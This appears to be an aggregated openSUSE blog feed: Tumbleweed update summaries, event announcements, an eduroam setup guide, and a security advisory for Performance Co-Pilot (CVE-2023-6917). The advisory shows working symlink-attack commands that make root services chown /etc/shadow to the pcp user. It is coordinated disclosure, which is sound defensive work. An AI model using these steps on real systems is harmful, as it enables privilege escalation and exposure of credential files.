Skip to main content

the avatar of openSUSE News

openSUSE Tumbleweed Monthly Update - February

Welcome to the monthly update for openSUSE Tumbleweed for February 2024. This month we get one more day in February because of Leap year, but here is what we have for the month. This blog aims to provide readers with an overview of the key changes, improvements and issues addressed in openSUSE Tumbleweed snapshots throughout the month. Should readers desire a more frequent amount of information about openSUSE Tumbleweed snapshots, readers are advised to subscribe to the openSUSE Factory mailing list.

New Features and Enhancements

  • Linux Kernel: February brought updates to the Linux kernel, progressing through versions 6.7.2 to 6.7.6. These updates focus on enhancing memory management, addressing some security vulnerabilities, and introducing support for new hardware models, ensuring improved compatibility and performance across various systems.
    • Fixes for various issues, including null-pointer dereference in powerpc/mm, incorrect node setting for arm64 irq, and build errors in powerpc architecture.
    • Correcting the node assignment for VMAP stack in the arm64 irq module.
    • Fix for a null-pointer dereference in pgtable_cache_add in the powerpc/mm module.
    • Fixes for various issues in filesystems like ext4 and JFS.
    • Ensuring proper handling of NMIs during very early boot in the x86/boot module.
    • New hardware support or models:
    • Colorful X15 AT 23 Laptop
  • KDE Frameworks: Update for version 5.115.0.
    • xtra CMake Modules: The ECMUninstallTarget now ports generated code away from deprecated exec_program, enhancing compatibility and maintainability.
    • KHolidays: Adds St Brigid’s Day.
    • KIO: Once again KDirModel, allows expanding network directories in file picker.
    • prison : Enables exceptions for videoscannerworker.cpp.
  • Mesa: Updates to 23.3.6
    • zink: Addresses flickering artifacts in Selaco, broken colors/dual-source blending on PinePhone Pro, and fixes sparse bo placement.
    • panfrost: Resolves graphical artifacts on T604 (T600), fixes intermittent compiler failures when building valhall tests, and pads compute jobs with zeros on v4.
    • radeonsi: Fixes unsynchronized flips/tearing with KMS DRM rendering on 780M and addresses heavy corruption in Amnesia: The Dark Descent.
    • VK: Various fixes for flaky tests, fullscreen “banding” artifacts in Age of Empires IV, and failures in dEQP-VK pipeline tests.
  • systemd: Updates to version 254.9.
    • vconsole-setup: Resolved issue where vconsole-setup would fail if the only found vc is already used by plymouth.
    • systemd-testsuite: Dependency updated to “qemu” instead of “qemu-kvm”, the latter being obsolete.
    • test/test-shutdown.py: Option added to display test I/Os in a dedicated log file.
    • man pages: Documentation update to include ranges for distributions config files and local config files.
    • libbpf: Version of libbpf dlopened by systemd updated (weak dependency).
  • glibc: Updated from version 2.38 to 2.39,
    • PLT Rewrite: Introduction of a new tunable, glibc.cpu.plt_rewrite, allows for enabling PLT rewrite on x86-64 architectures.
    • Sync with Linux Kernel 6.6: Synchronization with Linux kernel 6.6 shadow stack interface.
    • New Functions: Addition of new functions on Linux, including posix_spawnattr_getcgroup_np, posix_spawnattr_setcgroup_np, pidfd_spawn, pidfd_spawp, and pidfd_getpid.
    • scanf-family functions: Support for the wN format length modifiers for arguments pointing to specific types.
    • Memory Allocation Tunable: Introduction of a new tunable, glibc.mem.decorate_maps, for adding additional information on underlying memory allocated by glibc.
    • ISO C2X: Inclusion of the <stdbit.h> header from ISO C2X.
    • AArch64: Addition of new symbols to libmvec on AArch64.
    • ldconfig Enhancements: ldconfig now skips file names containing specific characters and patterns.
    • Dynamic Linker Improvements: The dynamic linker calls the malloc and free functions in more cases during TLS access if a shared object with dynamic TLS is loaded and unloaded.
  • Cups-Filters: Updates to version 1.28.17
    • Improved Printer Capability Discovery: Enhancements to more reliably discover all printer capabilities from driverless printers, particularly borderless printing. This includes preferring Apple Raster over PWG Raster or PCLM formats.
    • PPD Generator Optimization: The PPD generator now creates only one *cupsFilter2 line for raster, utilizing the most desirable/reliable format, usually Apple Raster.
    • Media Database Handling: Enhancements in handling media-col-database and media-col-ready IPP attributes separately if needed, revealing important functionality like borderless printing.
    • Margin Alternatives Consideration: Consideration of all margin alternatives when generating PPD files for driverless printers, ensuring the discovery of borderless functionality for many printers.
    • Image Printing Enhancements: Images are now printed in their original size with “print-scaling=none”, and deprecated data types for reading TIFF images have been replaced with modern equivalents.
  • openvpn: Updates to version 2.6.9
    • Enhanced Logging: SSL alerts are now logged more prominently, improving visibility into SSL-related issues.
    • Documentation Improvements: Clarifications and additions to documentation, including the documentation of the tls-exit option as a primarily test option.
    • Code Cleanup: Removal of unused function prototypes and redundant code, ensuring cleaner codebase and improved maintainability.
    • Error Handling: Addition of missing error checks and enhancements to error messages for better debugging and troubleshooting.
    • Security Enhancements: Implementation of the --tls-export-cert feature and addition of checks for TLS 1.0 PRF availability, improving security measures.
    • Configuration Clarifications: Clarifications regarding the tls-crypt-v2-verify option and removal of redundant options like --tls-export-cert.
    • Library Compatibility: Support added for newer versions of dependencies like mbedtls 3.x.y, with TLS 1.3 support disabled.

Security Updates

This month’s updates include critical security patches and bug fixes for glibc, GStreamer, Salt, Xen and many other packages.

Bug Fixes

Conclusion

February 2024 for openSUSE Tumbleweed showcases a diverse range of updates and improvements across essential components. There were critical security patches for software like glibc, GStreamer and Salt. The kernel updated from 6.7.2 at the beginning of the month to 6.7.6. There were updates for KDE Frameworks, Mesa, systemd, Cups-Filters and other core components. Other significant upgrades during the month included fwupd 1.9.13, PostgreSQL 16.2, Pulseaudio 17.0, GTK 4.12.5, Python 3.11.8, RPM 4.19.1.1, Mozilla Firefox 122.0.1, PHP 8.2.16, Poppler 24.02.0, Shadow 4.14.5, binutils 2.42, Qemu 8.2.1 and, Python 3.12. Next month should see systemd 255.3 arrive in the rolling release as the package is currently in staging.. The openSUSE team encourages users to continue participating through bug reports, feature suggestions and discussions.

Contributing to openSUSE Tumbleweed

Your contributions and feedback make openSUSE Tumbleweed better with every update. Whether reporting bugs, suggesting features, or participating in community discussions, your involvement is highly valued.

a silhouette of a person's head and shoulders, used as a default avatar

Working with multi-line logs in syslog-ng

Most log messages fit on a single line. However, Windows and some developer tools and services, like Tomcat, write multi-line log messages. These can come in various formats. For example, new log messages start with a date in a specific format. You use the multi-line-prefix() of the syslog-ng file() source to send multi-line messages as single messages instead of line by line.

I must admit that I have never seen multi-line logs in production. I am not a developer, do not run Tomcat or Windows. However, recently I tested a software on Windows, which produced multi-line log messages.

You can read more at https://www.syslog-ng.com/community/b/blog/posts/working-with-multi-line-logs-in-syslog-ng

syslog-ng logo

the avatar of Robert Riemann

HU Berlin eduroam for Android

I tried to setup eduroam for the Humboldt University of Berlin (Humboldt Universität in Berlin) using the app advertised in the manual: geteduroam

Unfortunately, the app crashes on my Android phone. If this is your case as well, proceed as follows:

  1. download the CA certificate hu-ca-2024.crt1
  2. go to your wifi settings and select eduroam to setup this wifi
  3. use TTLS/PAP (I forgot which one)
  4. add anonymous identity: eduroam@hu-berlin.de
  5. add username as username@hu-berlin.de (use username@physik.hu-berlin.de or username@mathematik.hu-berlin.de if your account is with those faculties)
  6. add as CA certificate the file downloaded before
  7. do not verify this certificate
  8. add as domain: hu-berlin.de

Note that other universities may require other setups.

  1. I have created this certificate file with openssl x509 -inform PEM -outform DER -in CA.pem -out hu-ca-2024.crt using the CA.pem extracted from the eduroam setup for my PC. ↩︎

the avatar of Nathan Wolf

Disable Input Devices in Wayland

Sometimes, hardware breaks and you have to make a modification in software to work around it. Here is one neat little trick I am using, temporarily, for a ThinkPad TrackPoint problem. These directions are going to be directed towards an openSUSE system because, that is what I primarily use but I am pretty certain that […]
a silhouette of a person's head and shoulders, used as a default avatar

Performance Co-Pilot (pcp): Unsafe use of Directories in /var/lib/pcp and /var/log/pcp breaks pcp Service User Isolation (CVE-2023-6917)

1) Introduction

Performance Co-Pilot (pcp) is a performance analysis toolkit that allows to gather and evaluate data on a local system and also share this data over the network in a distributed manner.

During routine reviews we noticed issues in pcp on Linux with directory permissions that allow to locally escalate privileges from the pcp service user to root.

These findings are based on the 5.3.7 version release of pcp. CVE-2023-6917 has been assigned for this class of issues in pcp.

2) Service User And Directory Permissions

The systemd services shipped with pcp run with mixed privileges. Some use only limited pcp user/group privileges, like “pmie_check.service”. Others like “pmcd.service” run with full root privileges. The pmcd daemon implements the networking logic of pcp. It drops privileges from root to pcp during startup.

The different pcp programs use a shared directory structure:

  • /var/lib/pcp/tmp owned by pcp:pcp mode 0775
  • /var/log/pcp owned by pcp:pcp mode 0775

When privileged processes running as root access files in directories or directory trees controlled by unprivileged users, then easily security issues can result from this. For the directories listed above, we quickly found the two exploitable issues that are described in the following sections.

3a) Startup Script for pmcd runs chown for $PCP_TMP_DIR/pmlogger

The “pmcd.service” runs with root privileges and executes the bash script “/usr/libexec/pcp/lib/pmcd” (named “rc_pmcd” in the Git source repository). Within this script the following code runs as part of the start routine, found in function _reboot_setup():

 if [ ! -d "$PCP_TMP_DIR/pmlogger" ]
 then
     mkdir -p -m 775 "$PCP_TMP_DIR/pmlogger"
     chown $PCP_USER:$PCP_GROUP "$PCP_TMP_DIR/pmlogger"
     if which restorecon >/dev/null 2>&1
     then
         restorecon -r "$PCP_TMP_DIR"
     fi
 else

$PCP_TMP_DIR in this context refers to “/var/lib/pcp/tmp”, owned by pcp:pcp mode 0775. Since the shell code above does not exit on errors, a compromised pcp user doesn’t even have to win a race condition to perform a symlink attack. The following exploit works:

# simulate a compromised pcp user
root # sudo -u pcp -g pcp bash
pcp  $ cd /var/lib/pcp/tmp
pcp  $ rm -r pmlogger
pcp  $ ln -s /etc/shadow pmlogger
pcp  $ exit
root # systemctl start pcmd.service
root # ls -l /etc/shadow
-rw-r----- 1 pcp pcp 1.2K Dec  7 15:47 /etc/shadow

3b) Startup Script for pmproxy runs chown in $RUN_DIR

The “pmproxy.service” runs with root privileges and executes the bash script “/usr/libexec/pcp/lib/pmproxy” (named rc_pmproxy in the Git source repository). Within this script the following code runs as part of the start (and other) routines:

# create directory which will serve as cwd
if [ ! -d "$RUNDIR" ]
then
    mkdir -p -m 775 "$RUNDIR"
    chown $PCP_USER:$PCP_GROUP "$RUNDIR"
fi

$RUN_DIR in this context refers to “/var/log/pcp/pmproxy”. “/var/log/pcp” is owned by pcp:pcp mode 0775. Similar to the exploit described in section 3a), no race condition has to be won to exploit this:

# simulate a compromised pcp user
root # sudo -u pcp -g pcp bash
pcp  $ cd /var/log/pcp
pcp  $ rm -rf pmproxy
pcp  $ ln -s /etc/shadow pmproxy
pcp  $ exit
root # systemctl start pmproxy.service
root # ls -l /etc/shadow
-rw-r----- 1 pcp pcp 1.2K Dec  7 15:47 /etc/shadow

4) Summary

We only picked two of the more obvious security issues that result from root processes operating on these pcp owned directories. There are likely more issues of the same class lingering in the pcp scripts that run as root. Given this, the user separation of pcp can be considered nonexistent in its current form, and the pcp user should be treated equal to root.

The pcp service user is also used for the network facing pmcd component, thus these issues strongly impact defense in depth for pcp, for the scenario when an attacker finds a way to exploit the network daemon.

5) Bugfix

Upstream performed a wider redesign of the privilege separation handling in pcp components. The pull request corresponding to this contains a large number of commits. It is difficult to isolate any simple patches from that.

In our Bugzilla bug that tracks this issue, I attempted to identify the subset of commits relevant to this issue, to help with backporting.

6) Timeline

2023-12-13 I reported the findings to pcp-maintainers@groups.io offering coordinated disclosure.
2023-12-14 The Red Hat Security Team was added to the discussion.
2023-12-15 After some initial disagreement whether this qualifies as an actual security issue, an agreement was found that it is a change of security scope and deserves a CVE assignment.
2023-12-15 An upstream author suggested mid of February as a publication date, for which time a release for pcp had been planned anyway.
2023-12-18 Red Hat Security assigned CVE-2023-6917 to track the issue(s).
2024-01-01 Upstream discussed some initial changes to address the issue(s) in the mail thread and I tried to give some feedback about them.
2024-02-20 Communication about the publication process died down, and I learned from our packager that the Pull Request containing the fixes had already been public for some time. It seems no clear embargo had been established for the coordinated release, there had been contradicting statements.
2024-02-27 After verifying with the upstream authors that publication is okay I finalized my report and published all information.

7) References

the avatar of Nathan Wolf

Gridfinity Screwdriver Rack

One of the coolest discoveries on the Internet that was introduced by the fine folks in the Maker’s Corner Telegram group is Gridfinity. There are a ton of videos buy the creator, Zack Freedman, of the various cool things he has done with it. For more information on that breaks down the philosophy read this […]
the avatar of openSUSE News

Community Plans for Summit in Berlin

The community is headed to Berlin on June 19 for a Community Summit in association with SUSE’s premier annual global technical conference SUSECON.

Registration for the event is open and the Call for Papers is open until May 29. Partners of SUSE, openSUSE, open source community projects and community members that want to participate are encouraged to register for the summit and submit a talk.

The schedule for the Community Summit will be released on May 30.

There is a Community track and an open source track. There are two types of talks that can be submitted for the summit. One is a short talk with a 15-minute limit and the other is a standard talk with a 30-minute limit.

Attendees of SUSECON are also welcome to attend and submit talks. The Community Summit is a free community event that will take place on the last day of SUSECON.

The summit will take place a week before the openSUSE Conference in Nuremberg, so attendees of SUSECON should consider staying for the openSUSE Project’s annual conference and submit a technical talk. For small- and medium-sized enterprises, there will be a 4-hour Open 4 Business networking event held on June 26 next to SUSE’s offices in Nuremberg.

Contact ddemaio (@) opensuse.org if you have any questions concerning the summit.

the avatar of Nathan Wolf

a silhouette of a person's head and shoulders, used as a default avatar

openSUSE Tumbleweed – Review of the weeks 2024/08

Dear Tumbleweed users and hackers,

This week, we had once again openQA blocking the release of one snapshot and protecting some of our users (using the experimental sdboot/disk-encryption). openQA has identified an inconsistency in snapshot 0215 and found that systems with this update would fail to unlock their disks. The fix landed in snapshot 0216. openQA confirmed the fix and the five snapshots 0216, 0218, 0220, 0221, and 0222 have been published.

The most relevant changes in those releases were:

  • Mozilla Firefox 122.0.1
  • bind 9.18.24
  • dav1d 1.4.0
  • PHP 8.2.16
  • Poppler 24.02.0
  • Shadow 4.14.5
  • Mesa 23.3.6
  • Meson 1.3.2
  • binutils 2.42
  • GCC 14 is now the libgcc provider. GCC 13 is still the default compiler being used
  • Linux kernel 6.7.5
  • pkgconf 2.1.1
  • Node.JS 21.6.2
  • Qt 6.6.2
  • Systemd 254.9
  • perl-Bootloader 1.12: no longer written in perl (package name change to happen later)
  • Qemu 8.2.1
  • Lots of packages preparing for RPM 4.20 (%patchN no longer supported) (~ 600 out of 2000 packages fixed this week)
  • RPM: enable reproducible builds by default (bsc#1148824)

In my opinion, that’s quite an impressive list. Soon (and a bit more distant) we will be shipping these changes:

  • Ruby 3.2 deprecation: ruby3.2 all ruby3.2-rubygem packages will be removed from Tumbleweed
  • python 3.9 deprecation: all python39-* packages are scheduled for removal. We still have Python 3.10, Python 3.11 (the default interpreter), and Python 3.12 in Tumbleweed. Unfortunately, this road will be bumpy, as many Python packages still do not build for Python 3.12 – and unless the builds succeed, the pytho39-XXX packages will stay lingering in the repository.
  • Systemd 255
  • Many more package fixes to prepare for RPM 4.20
  • KDE Frameworks and Plasma 6
  • dbus-broker: a big step forward; upgrades seem to be an issue that needs to be addressed
  • libxml 2.12.x: slow progress
  • GCC 14: phase 2: use gcc14 as default compiler

the avatar of openSUSE News

Engage with Uyuni Community Hours

Like many open-source projects, the Uyuni Project has a long tradition of fostering community engagement and open dialogue, which is why those who are interested in configuration management should consider joining the Uyuni Community Hours scheduled for Feb. 24 at 15:00 UTC.

Uyuni Community Hours sessions take place on the last Friday of the month. The sessions offer an invaluable opportunity for both the community and the project’s development team to come together.

During these sessions, participants are presented with the latest developments surrounding Uyuni. This open forum allows the community to ask questions, provide feedback and suggest features or enhancements directly to the development team. This proactive approach helps Uyuni to evolve and align with the needs and expectations of its user base.

The session for this Friday addresses the community’s feedback and needs:

  • Meeting Migration Recap: An overview of recent changes to the meeting platform, enhancing accessibility and participation for the community.

  • What’s New in Uyuni: A detailed exploration of the latest features and improvements in the February 2024 release of Uyuni.

  • Containerized Uyuni: Release Strategy: Insights into the future of Uyuni’s deployment and management within containerized environments.

  • Uyuni Health Check: Running on top of a “supportconfig”: Introduction of a new tool designed to simplify and streamline health checks for Uyuni servers.

  • One Shot Execution of Recurring Actions: A discussion on enhancing task management and execution within the Uyuni framework.

  • Testing, Building, and Publishing the Documentation with GitHub Actions: An innovative approach to maintaining and distributing up-to-date documentation for Uyuni users and developers.

This session is accessible with a detailed agenda and is meant to keep the contributing community well-informed of upcoming topics and discussions. Whether a developer, administrator or an open-source software enthusiast, join the Uyuni Community Hours to offer valuable insights into the project’s progress and future initiatives.